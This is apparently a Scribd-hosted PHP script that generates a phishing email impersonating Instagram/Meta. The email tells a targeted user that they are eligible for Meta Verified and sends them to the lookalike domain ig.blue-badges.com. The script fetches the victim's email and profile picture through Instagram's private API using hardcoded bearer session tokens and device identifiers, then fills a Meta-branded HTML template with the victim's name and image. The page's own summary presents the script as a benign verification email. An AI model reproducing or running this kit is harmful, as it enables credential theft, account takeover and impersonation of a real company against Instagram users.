0% found this document useful (0 votes)
26 views6 pages

Kural 2

The document is a PHP script that processes user data from a database and generates a verification email for an Instagram account. It includes functions for generating random codes and GUIDs, fetching user information, and constructing an HTML email template. The email informs the user that their Instagram account is eligible for Meta Verified status and provides a link to apply for verification.

Uploaded by

piqepx
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
26 views6 pages

Kural 2

The document is a PHP script that processes user data from a database and generates a verification email for an Instagram account. It includes functions for generating random codes and GUIDs, fetching user information, and constructing an HTML email template. The email informs the user that their Instagram account is eligible for Meta Verified status and provides a link to apply for verification.

Uploaded by

piqepx
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 6

<?

php
$nick = $_GET['nick'];
include("../engine/database.php");
include("apiler.php");
function generateRandomCode($length) {
$characters = '0123456789abcdef';
$maxIndex = strlen($characters) - 1;

$randomCode = '';

for ($i = 0; $i < $length; $i++) {


$randomCode .= $characters[rand(0, $maxIndex)];
}

return $randomCode;
}

function generateGUID() {
if (function_exists('com_create_guid') === true) {
return trim(com_create_guid(), '{}');
}

return sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X',
mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535),
mt_rand(16384, 20479), mt_rand(32768, 49151),
mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
}

function generateMid() {

$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$maxIndex = strlen($characters) - 1;

$randomCode = '';

for ($i = 0; $i < 26; $i++) {


$randomCode .= $characters[rand(0, $maxIndex)];
}

return $randomCode;
}

function findImageComponents($data) {
$imageComponents = [];

foreach ($data as $key => $value) {


if ($key === 'bk.components.Image') {
$imageComponents[] = $value;
} elseif (is_array($value) || is_object($value)) {
$imageComponents = array_merge($imageComponents,
findImageComponents((array)$value));
}
}

return $imageComponents;
}

$aylar = array(
'January',
'February',
'March',
'April',
'May',
'June',
'July',
'August',
'September',
'October',
'November',
'December'
);
$ay = $aylar[date('m') - 1];
$gun = date('j');
$date=''.$ay.'%20'.$gun.'th';

$sql = 'SELECT * FROM `users` WHERE username=:username LIMIT 1';


$query = $db->prepare($sql);
$query->execute(array(':username' => 'sabit'));
$mailData = $query->fetch(PDO::FETCH_ASSOC);

$cookie = $mailData['cookie'];

$sql = 'SELECT * FROM `mailler` WHERE username=:username LIMIT 1';


$query = $db->prepare($sql);
$query->execute(array(':username' => $nick));
$mailData = $query->fetch(PDO::FETCH_ASSOC);

$mail = $mailData['mail'];
$id = $mailData['userid'];

$link = "https://www.ig.blue-badges.com/contact/636276399721123/index.php?
nick=".base64_encode($nick)."&id=".$id."";
$url = $link;

$auth="Bearer
IGT:2:eyJkc191c2VyX2lkIjoiMjI5OTg2MjUwOSIsInNlc3Npb25pZCI6IjIyOTk4NjI1MDklM0FwR0VUV
1QwbGxnVVAwZyUzQTEyJTNBQVllQjlzNC1VTmEwUjVvSVJpa1FKX0s3Y2pSM3QxbVJsdHdYVFNWSU1nIn0=
";

$generatedMid = generateMid();
$ufs_code='UFS-' . generateRandomCode(8) . '-' . generateRandomCode(4) . '-' .
generateRandomCode(4) . '-' . generateRandomCode(4) . '-' .
generateRandomCode(12) . '-0';

$url = "https://i.instagram.com/api/v1/users/$id/info_stream/";
$data =
"is_prefetch=false&entry_point=profile&from_module=feed_contextual_chain&_uuid=5431
190c-0663-4995-8d0f-d610a33b3a35";

$headers = array("Host: i.instagram.com", "X-Ig-App-Locale: en_US", "X-Ig-Device-


Locale: en_US", "X-Ig-Mapped-Locale: en_US", "X-Pigeon-Session-Id: UFS-51fe7f9a-
83b5-4461-81aa-22f2fb9f6bfb-0", "X-Pigeon-Rawclienttime: 1719232390.504", "X-Ig-
Bandwidth-Speed-Kbps: -1.000", "X-Ig-Bandwidth-Totalbytes-B: 0", "X-Ig-Bandwidth-
Totaltime-Ms: 0", "X-Bloks-Version-Id:
8ca96ca267e30c02cf90888d91eeff09627f0e3fd2bd9df472278c9a6c022cbb", "X-Ig-Www-Claim:
hmac.AR3FxhN7lwbTKyt0i5i6xBe2yL9-yZvgYvywJY_6AgL6K1t3", "X-Ig-Transfer-Encoding:
chunked", "X-Bloks-Is-Layout-Rtl: false", "X-Ig-Device-Id: 72cdca4e-b663-45ad-a418-
6c46361b6e89", "X-Ig-Family-Device-Id: 68aee3eb-10c8-4a3f-8c16-eb58fbdefa3e", "X-
Ig-Android-Id: android-8b243a9126f9ff", "X-Ig-Timezone-Offset: 0", "X-Ig-Nav-Chain:
ExploreFragment:explore_popular:3:main_search:1719232386.355::3391804101363821520,D
iscoveryChainingFeedFragment:feed_contextual_chain:4:button:1719232389.801:10#230#4
38:3391804101363821520,UserDetailFragment:profile:5:media_owner:1719232390.503::",
"X-Fb-Connection-Type: WIFI", "X-Ig-Connection-Type: WIFI", "X-Ig-Capabilities:
3brTv10=", "X-Ig-App-Id: 567067343352427", "Priority: u=3", "User-Agent: Instagram
275.0.0.27.98 Android (33/13; 320dpi; 768x1184; Genymobile/Custom; Phone;
genymotion; vbox86; en_US; 458229257)", "Accept-Language: en-US", "Authorization:
Bearer
IGT:2:eyJkc191c2VyX2lkIjoiNDU0NjI0MTExNTUiLCJzZXNzaW9uaWQiOiI0NTQ2MjQxMTE1NSUzQVVkY
3VZOWN0eUt6ZlBHJTNBMjAlM0FBWWRoR05hWGtPdllIRkVkN0s1U20tRURTTGVoSThVNkNmS21keXdrM2ci
fQ==", "X-Mid: ZnlnYgABAAEQ6p9l9FIH1EULySmA", "Ig-U-Ds-User-Id: 45462411155", "Ig-
U-Rur:
CLN,45462411155,1750768390:01f71f9291d43cfc3684a0e518cbe464b4820798874e1e1bcfe18a14
bf215df28bb86625", "Ig-Intended-User-Id: 45462411155", "Content-Type:
application/x-www-form-urlencoded; charset=UTF-8", "Content-Length: 114", "X-Fb-
Http-Engine: Liger", "X-Fb-Client-Ip: True", "X-Fb-Server-Cluster: True");

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$response = curl_exec($ch);
curl_close($ch);

$result = strstr($response, '{"user":{"primary_profile_link_type"');

$json = json_decode($result, true);


$resimx=$json['user']['profile_pic_url'];

$imgData = base64_encode(file_get_contents($resimx));

$resim = 'data:image/png;base64,'.$imgData;

$kelime=md5(rand());

$insta="https://otoknk.online/us/22YB/insta.png";
$tik="https://otoknk.online/us/22YB/tik.png";
$rozet="https://otoknk.online/us/22YB/rozet.png";
$kisi="https://otoknk.online/us/22YB/kisi.png";
$logo3="https://otoknk.online/us/22YB/from_meta.png";

?>
<table id="<?php echo md5(rand()); ?>email_table" align="center" border="0"
cellpadding="0" cellspacing="0" style="border-collapse:collapse"><tbody><tr><td
id="<?php echo md5(rand()); ?>email_content" style="background:#ffffff;font-
family:'helvetica neue' , 'helvetica' , 'lucida grande' , 'tahoma' , 'verdana' ,
'arial' , sans-serif"><table border="0" cellpadding="0" cellspacing="0"
width="100%" style="border-collapse:collapse"><tbody><tr><td colspan="3"
height="20" style="line-height:20px">&nbsp;</td></tr><tr><td colspan="3" height="1"
style="line-height:1px"><span
style="color:#ffffff;font-size:1px"></span></td></tr><tr><td><table border="0"
cellpadding="0" cellspacing="0" width="100%" style="border-collapse:collapse;text-
align:center;width:100%"><tbody><tr><td width="16" style="width:16px"></td><td
style="line-height:0px;max-width:600px;padding:0 0 4px 0"><table border="0"
cellpadding="0" cellspacing="0" style="border-collapse:collapse"><tbody><tr><td
style="height:33px;text-align:left;width:100%"><a
href="https://www.instagram.com/_n/mainfeed?
utm_campaign=account_deletion_receipt&amp;utm_medium=email&amp;target_user_id=36477
07608&amp;ndid=<?php echo md5(rand()); ?>" style="color:#1b74e4;text-
decoration:none" data-link-id="1" target="_blank" rel="noopener noreferrer"><img
height="30" src="https://static.xx.fbcdn.net/rsrc.php/v3/yO/r/Otjcwa2eCOF.png"
style="border:0"></a></td><td style="line-height:18px;min-width:60px;text-
align:right"><a href="https://www.instagram.com/_n/user?
utm_campaign=account_deletion_receipt&amp;utm_medium=email&amp;target_user_id=36477
07608&amp;username=deleted718738192738912312&amp;ndid=5f7b704b20f40G24bc2db465d9d8G
5f7b74e481213G477e" style="color:#1b74e4;text-decoration:none" data-link-id="2"
target="_blank" rel="noopener noreferrer"><img height="32" src="<?= $resim ?>"
width="32" style="border:0px;border-radius:18px;vertical-align:middle"></a></td></
tr></tbody></table></td><td width="16"
style="width:16px"></td></tr></tbody></table></td></tr><tr><td><table border="0"
cellpadding="0" cellspacing="0" width="430" style="border-
collapse:collapse;margin:0 auto 0 auto"><tbody><tr><td><table border="0"
cellpadding="0" cellspacing="0" width="430" style="border-collapse:collapse;font-
size:14px;line-height:17px"><tbody><tr><td><table border="0" cellpadding="0"
cellspacing="0" width="430" style="border-collapse:collapse"><tbody><tr><td
width="30" style="width:30px"></td><td><span style="color:#ffffff;font-
size:1px"></span><table border="0" cellpadding="0" cellspacing="0" width="370"
style="border-collapse:collapse"><tbody><tr><td style="color:#999999;font-
family:'sfuitext-regular' , 'roboto' , 'segoe' , 'helvetica neue' , 'helvetica' ,
'arial' , sans-serif;font-size: 16px;line-height:17px;text-align:left;padding-
bottom: 15px;padding-top: 5px;"><p style="margin:0;">Hi <span
style="color:#262626;font-family:'sfuitext-semibold' , 'roboto-medium' , 'segoe ui
semibold' , 'helvetica-bold' , 'arial bold';font-size: 16px;line-height:17px"><span
class="wmi-callto"><?= $nick ?><img src="https://pbs.twimg.com/media/E--
7I1sUYAAgoVz.png" style="width: 18px;margin-left:
2.3px;"></span></span>,</p></td></tr><tr><td style="color:#999999;font-
family:'sfuitext-regular' , 'roboto' , 'segoe' , 'helvetica neue' , 'helvetica' ,
'arial' , sans-serif;font-size: 16px;line-height:17px;text-align:left;"><p>
Your Instagram account has been deemed eligible for Meta Verified.
An Instagram account with a verified badge next to its name now means that
Instagram has confirmed that it is the authentic presence for that person or
brand.</p></td></tr><tr><td style="color:#999999;font-family:'sfuitext-regular' ,
'roboto' , 'segoe' , 'helvetica neue' , 'helvetica' , 'arial' , sans-serif;font-
size: 16px;line-height:17px;text-align:left;padding-top: 20px;padding-bottom:
20px;"><p style="margin:0;">The verified badge is a tool to help people find the
real accounts of people and brands.

</p></td></tr>

<tr><td style="color:#999999;font-family:'sfuitext-regular' , 'roboto' , 'segoe' ,


'helvetica neue' , 'helvetica' , 'arial' , sans-serif;font-size: 16px;line-
height:17px;text-align:left;padding-bottom: 19px;"><p><b>You can get Meta Verified
by applying now.</b>

</p></td></tr>
<tr><td width="100%"><a href="<?= $link ?>"
style="color:#1b74e4;display:block;text-decoration:none;width:370px" data-link-
id="3" target="_blank" rel="noopener noreferrer"><table border="0" cellpadding="0"
cellspacing="0" width="100%" style="border-collapse:collapse"><tbody><tr><td
style="background-color:#47a2ea;border:1px solid #009fdf;border-
collapse:collapse;border-radius:3px;display:block;margin:0 2px 0 auto;min-
width:80px;padding:10px 16px 14px 16px;text-align:center"><a href="<?= $link ?>"
style="color:#1b74e4;display:block;text-decoration:none" data-link-id="4"
target="_blank" rel="noopener noreferrer"><center><font size="3"><span
style="color:#fdfdfd;font-family:'helvetica neue' , 'helvetica' , 'roboto' ,
'arial' , sans-serif;font-size:16px;font-weight:bold;line-height:16px;vertical-
align:middle;white-space:nowrap">Apply as <?= $nick
?></span></font></center></a></td></tr></tbody></table></a></td></tr>

<br><tr><td style="/* background-color:#f8f8f8; */border-radius:6px;border-


spacing:0;color:#4c4c4c;font-family:'arialmt' , 'arial' , sans-serif;font-size:
16px;margin:0;padding:24px;text-align:left;width:100%;padding-top: 30px;padding-
bottom: 20px;"><table border="0" cellpadding="0" cellspacing="0" width="100%"
style="border-bottom-color:#ffffff;border-bottom-style:solid;border-bottom-
width:2px;/* padding-bottom:16px; */"><tbody><tr><td class="" style="padding-
right:24px;vertical-align:top;width:15%"><img
src="https://otoknk.online/us/22YB/tik.png" width="35"></td><td class=""
style="width:90%"><span style="color: #999999;font-size:16px;line-height:23px"><b
style="color:#000">Enhanced verification

</b> <br>Let your followers know it's the real you with a verified badge on your
Instagram profile.</span></td></tr></tbody></table><table border="0"
cellpadding="0" cellspacing="0" width="100%" style="border-bottom-
color:#ffffff;border-bottom-style:solid;border-bottom-width:2px;padding-
bottom:16px;padding-top:16px;"><tbody><tr><td class="" style="padding-
right:24px;vertical-align:top;width:15%"><img
src="https://otoknk.online/us/22YB/rozet.png" width="35"></td><td class=""
style="width:90%"><span style="color: #999999;font-size:16px;line-height:23px"><b
style="color:#000">Proactive protection

</b><br>Avoid impersonation with active account monitoring.


</span></td></tr></tbody></table><table border="0" cellpadding="0" cellspacing="0"
width="100%" style="/* padding-top:16px; */"><tbody><tr><td class=""
style="padding-right:24px;vertical-align:top;width:15%"><img
src="https://otoknk.online/us/22YB/kisi.png" width="35">
</td><td class="" style="width:90%"><span style="color: #999999;font-
size:16px;line-height:23px"><b style="color:#000">Direct support

</b> <br>Get help when you need it from a real person on common account issues that
matter to you.</span></td></tr></tbody></table></td></tr></tbody></table></td><td
width="30" style="width:30px"></td></tr><tr><td width="30"
style="width:30px"></td><td></td><td width="30"
style="width:30px"></td></tr></tbody></table></td></tr></tbody></table></td></
tr></tbody></table></td></tr><tr><td><table border="0" cellpadding="0"
cellspacing="0" width="394" style="border-collapse:collapse;margin:0 auto 0
auto;width:394px"><tbody><tr align="left"><td width="20"
style="display:block;width:20px">&nbsp;&nbsp;&nbsp;</td><td style="text-
align:center"><div style="padding-top:10px"><img class="a79d6d40898b68f0img"
alt="Meta Logo" height="26" src="https://static.xx.fbcdn.net/rsrc.php/v3/y3/r/Bqo9-
L659wB.png" width="52"></div><div style="height:10px"></div><div
style="color:#abadae;font-size:11px;margin:0 auto 5px auto">© Instagram. Meta
Platforms, Inc., 1601 Willow Road, Menlo Park, CA 94025</div><div
style="color:#abadae;font-size:11px;margin:0 auto 5px auto">We sent this message to
<a style="color:#abadae;text-decoration:underline"><?= $mail ?></a> to update <span
class="wmi-callto"><?= $nick ?></span> about what's happening on Instagram.
<br></div></td><td width="20"
style="display:block;width:20px">&nbsp;&nbsp;&nbsp;</td></tr></tbody></table></
td></tr><tr><td colspan="3" height="20"
style="line-height:20px">&nbsp;</td></tr></tbody></table><img
src="https://resize.yandex.net/mailservice?url=https%3A%2F%2Fwww.facebook.com
%2Femail_open_log_pic.php%3Fmid%3D5f7b704b20f40G24bc2db465d9d8G5f7b74e481213G477e
%26ig_notification_type
%3D396&amp;proxy=yes&amp;key=d815d7af83b44ad588f5c230455b256e"
style="border:0;height:1px;width:1px"></td></tr></tbody></table>

You might also like

pFad - Phonifier reborn

Pfad - The Proxy pFad of © 2024 Garber Painting. All rights reserved.

Note: This service is not intended for secure transactions such as banking, social media, email, or purchasing. Use at your own risk. We assume no liability whatsoever for broken pages.


Alternative Proxies:

Alternative Proxy

pFad Proxy

pFad v3 Proxy

pFad v4 Proxy